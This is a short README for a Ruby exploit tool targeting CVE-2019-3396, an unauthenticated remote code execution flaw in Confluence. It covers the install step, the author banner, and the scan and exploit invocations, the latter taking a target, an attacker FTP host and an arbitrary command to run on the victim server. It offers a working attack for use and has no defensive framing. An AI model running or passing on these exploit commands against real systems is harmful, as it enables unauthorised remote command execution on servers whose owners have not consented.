cve-2019-3396

Unauthenticated Confluence RCE (cve-2019-3396)

setup exploit libraries

bundle install

run

┌──(user㉿hostname)-[~/path/to/cve-2019-3396]
└─$ ruby cve-2019-3396.rb 

        exploit   ->    CVE-2019-3396
        Author    ->    Abdallah Mohamed Elsharif
        Greetz to Ghost5egy and Hamza Abdulrahman and Omar and Alaa

        Usage: 
                ruby cve-2019-3396.rb [options] Or --help

scan

ruby cve-2019-3396.rb -t TARGET --scan

exploit

ruby cve-2019-3396.rb -t TARGET --ftp-serv FTPHOST -c COMMAND